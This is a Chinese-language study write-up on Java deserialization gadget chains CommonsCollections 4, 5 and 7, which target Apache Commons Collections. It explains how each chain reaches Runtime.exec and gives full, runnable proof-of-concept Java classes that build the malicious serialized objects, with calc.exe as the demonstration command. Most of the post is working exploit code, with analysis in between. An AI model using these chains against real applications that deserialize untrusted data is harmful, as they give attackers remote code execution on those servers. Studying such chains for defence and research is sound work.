一、前言
前面的文章中,基本把CC链的关键部分学习的差不多了,利用过程也是比较清晰了,接下来把 CommonsCollections 4、5、7 利用链学习下,扩展下思路
二、CommonsCollections4 利用链的学习
运行环境:
java 1.8.0_71commons-collections4.0
1、利用链说明
java">ObjectInputStream.readObject()PriorityQueue.readObject()PriorityQueue.heapify()PriorityQueue.siftDown()PriorityQueue.siftDownUsingComparator()TransformingComparator.compare()ChainedTransformer.transform()ConstantTransformer.transform()InstantiateTransformer.transform()newInstance()TrAXFilter#TrAXFilter()TemplatesImpl.newTransformer()TemplatesImpl.getTransletInstance()TemplatesImpl.defineTransletClasses.newInstance()Runtime.exec()
整体来说,其实没有什么新的东西,类似CC2 和 CC3链的结合体, 用了PriorityQueue类,同时又避免用 IvokerTranformer;
测试POC如下:
java">TemplatesImplForCC4.javapackage com.govuln.shiroattack;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;public class TemplatesImplForCC4 {public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}protected static byte[] getBytescode() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clazz = pool.get(Evil.class.getName());return clazz.toBytecode();}public static void main(String[] args) throws Exception {Templates obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][]{getBytescode()});setFieldValue(obj, "_name", "Hello");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());Transformer faketransformer = (Transformer) new ConstantTransformer(1);Transformer transformer = (Transformer) new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj});Comparator comparator = new TransformingComparator(faketransformer);PriorityQueue queue = new PriorityQueue(2, comparator);queue.add(TrAXFilter.class);queue.add(TrAXFilter.class);setFieldValue(comparator, "transformer", transformer);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(queue);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object) ois.readObject();}
}
三、CommonsCollections5 利用链的学习
运行环境:
java 1.8.0_71commons-collections 3.2.1
java">Gadget chain:ObjectInputStream.readObject()BadAttributeValueExpException.readObject()TiedMapEntry.toString()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()Requires:commons-collections/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70*/
CC5链的利用还是着眼于 LazyMap.get(), 这里是找到 org.apache.commons.collections.keyvalue.TiedMapEntry,只是CC6链中是用org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()方法调用其getValue() 方法, CC5链用的是 org.apache.commons.collections.keyvalue.TiedMapEntry.toString() 方法
java"> public String toString() {return this.getKey() + "=" + this.getValue();}
也是调用getValue,跟之前的分析一致,测试代码
java">package com.govuln.shiroattack;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;public class CC5Test {public static void main(String[] args){ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})});HashMap innermap = new HashMap();LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);TiedMapEntry tiedmap = new TiedMapEntry(map,123);tiedmap.toString();}
}
所以,接下来要找的就是哪里在反序列化的时候会调用TiedMapEntry#toString()
这个类就是 javax.management.BadAttributeValueExpException , 其readObject() 方法会调用toString()
查看下这个 valObj 是从哪里来的
这里是从Field 取出来的, 那么,利用方式就很清晰了, 通过设置 javax.management.BadAttributeValueExpException 中 val 的值为 TiedMapEntry对象即可触发命令执行,我们尝试下,发现没成功。
因为,如果一开始就给 val 赋值为 TiedMapEntry , 那么在赋值的时候就会触发rce
java">public BadAttributeValueExpException (Object val) {this.val = val == null ? null : val.toString();}
如果我们直接将构造好的 TiedMapEntry 传进去,实例化的时候就会触发toString,此时 val 的值为 ,这就导致后续反序列化的时候不会触发rce ,因为这个时候的 val 已经不是 TiedMapEntry对象了。 所以这里我们需要用反射的方式
反射poc如下:
java">package com.govuln.shiroattack;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;public class CommonsCollections5 {public static void main(String[] args) throws Exception{ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"calc.exe"})});HashMap innerMap = new HashMap();LazyMap map = (LazyMap)LazyMap.decorate(innerMap, chain);TiedMapEntry tiedMap = new TiedMapEntry(map, 123);BadAttributeValueExpException poc = new BadAttributeValueExpException(123);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(poc,tiedMap);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(poc);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}
}
四、CommonsCollections7 利用链的学习
首先,看看利用链
java">/* Payload method chain:java.util.Hashtable.readObjectjava.util.Hashtable.reconstitutionPutorg.apache.commons.collections.map.AbstractMapDecorator.equalsjava.util.AbstractMap.equalsorg.apache.commons.collections.map.LazyMap.getorg.apache.commons.collections.functors.ChainedTransformer.transformorg.apache.commons.collections.functors.InvokerTransformer.transformjava.lang.reflect.Method.invokesun.reflect.DelegatingMethodAccessorImpl.invokesun.reflect.NativeMethodAccessorImpl.invokesun.reflect.NativeMethodAccessorImpl.invoke0java.lang.Runtime.exec
*/
后半段还是 LazyMap#get 的利用链, 主要观察前半段,在CC1 的利用链中是通过 AnnotationInvocationHandler#invoke 来触发恶意代理handler 调用其 invoker 方法从而触发 LazyMap#get 方法 但是 CC7 链中是通过 org.apache.commons.collections.map.AbstractMapDecorator#AbstractMap#equals 来触发对 LazyMap#get 方法的调用。
通过利用链,我们正向分析下,入口点是 java.util.Hashtable.readObject, 跟进
java"> private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException{// Read in the length, threshold, and loadfactors.defaultReadObject();// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Compute new size with a bit of room 5% to grow but// no larger than the original size. Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)(elements * loadFactor) + (elements / 20) + 3;if (length > elements && (length & 1) == 0)length--;if (origlength > 0 && length > origlength)length = origlength;table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// synch could be eliminated for performancereconstitutionPut(table, key, value);}}
在最后调用的是 reconstitutionPut方法,这里的key、value值可以通过 hashtable中的put方法进行添加。 继续跟进 reconstitutionPut 方法
这里关键是 equals 方法的调用,先进入for 语句, 然后是个if判断语句, 必须是 e.hash == hash 判定为真才会执行后面的 e.key.equals(key) 。
其中 hsah 就是 key.hashCode() , 那么再看 e是什么?
Entry<?,?> e = tab[index] ; e != null ; e = e.next
继续查看 index是什么
int index = (hash & 0x7FFFFFFF) % tab.length;
所以大概意思就是 ,先计算 key 的 hashCode(即hash值), 然后根据hash值 计算存储索引 index, 再通过 for循环得到 e.next 也就是上一个 map 键值对, 之后进入 if 判断两者 hash值是否相同, 找不到就把这个键值对加入到tab中, 如果hash相同的话,就进入 e.key.queals(key) 中。
那么是不是直接put两个key值一样的键值对进去呢,答案是不行,因为在 readObject中进行了判断:
可以看到还原table数组时是根据 elements 来判断的, 而如果key 相同时 element 计算会把两个map 计算为只有一个map。所以这里关键点是 ,put两个key不一样的 键值对,但是hash要相同,故这里可以用 hash碰撞来解决。
继续看调用的 equals 方法, 在利用链中 e.key 为LazyMap 对象,但是 LazyMap 对象没有 equals 方法, 不过它 继承了 AbstractMapDecorator 类,所以会调用AbstractMapDecorator 类 equals 方法
继续跟进会调用 map.equals() ,而这里的map是什么呢?是在 Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); 所以这里的map 就是 HashMap, 但是 HashMap也没有 equals 方法,但是其继承了 AbstractMap 类。
所以这部分的利用就是 e.key 是 LazyMap的话,并且LazyMap 经过 LazyMap.decorate 包装了 HashMap,所以会依次调用 AbstractMapDecorator.equals() ---》 AbstractMap.equals()
在这里进行了 get方法的调用,条件是 value 不是 null时,同时m 为 LazyMap才能触发rce。 这里m是为传入 equals 的Object,
如果这里的m是我们可控的,那么我们设置m为LazyMap,即可完成后面的rce触发。 所以也就是java.util.Hashtable.HashTable#reconstitutionPut 传入的key 也必须是 LazyMap对象。
构造测试poc如下:
java">package com.govuln.shiroattack;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;public class CC7Test {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {// Reusing transformer chain and LazyMap gadgets from previous payloadsfinal String[] execArgs = new String[]{"calc.exe"};final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});final Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},execArgs),new ConstantTransformer(1)};Map innerMap1 = new HashMap();Map innerMap2 = new HashMap();// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObjectMap lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);lazyMap1.put("yy", 1);Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);lazyMap2.put("zZ", 1);// Use the colliding Maps as keys in HashtableHashtable hashtable = new Hashtable();hashtable.put(lazyMap1, 1);hashtable.put(lazyMap2, 2);Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");iTransformers.setAccessible(true);iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// Needed to ensure hash collision after previous manipulationslazyMap2.remove("yy");ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));objectOutputStream.writeObject(hashtable);objectOutputStream.close();ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));objectInputStream.readObject();
// return hashtable;}
}
注意点1: 为什么要用 Lazy2.remove("yy") ; 删除yy键值对?
因为
hashtable.put(lazyMap2, 2);
的时候处理和反序列化的处理类似,提前触发了一遍get,跟进put这里会跟上面说的一样在进行判断的时候直接调用到get方法,然后提前执行给的ChainedTransformer, 还有在get执行的时候会添加key值,导致反序列化时就不能执行后续反射修改的恶意的transformers了。
所以在最后要删除掉 Lazy2的 yy键值对
继续改造下,既然上面计算hash调用的时候调用了 hashCode 方法,是不是可以结合CC6, 把key变成 TiedMapEntry , 然后触发 TiedMapEntry 的 hashCode 方法呢
构造poc:
java">package com.govuln.shiroattack;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;import java.lang.reflect.Field;public class TiedMapforCC7 {public static void main(String[] args)throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),};ChainedTransformer cha = new ChainedTransformer(transformers);HashMap map2 = new HashMap();Map<Object, Object> Lazy = LazyMap.decorate(map2,new ConstantTransformer(1));Lazy.put("zZ",1);TiedMapEntry tie = new TiedMapEntry(Lazy,"aaa");Hashtable hashtable = new Hashtable();hashtable.put(tie,1);Lazy.remove("aaa");Class<LazyMap> lazyMapClass = LazyMap.class;Field factoryField = lazyMapClass.getDeclaredField("factory");factoryField.setAccessible(true);factoryField.set(Lazy, cha);serilize(hashtable);deserilize("111.bin");}public static void serilize(Object obj)throws IOException {ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));out.writeObject(obj);}public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));Object obj=in.readObject();return obj;}
}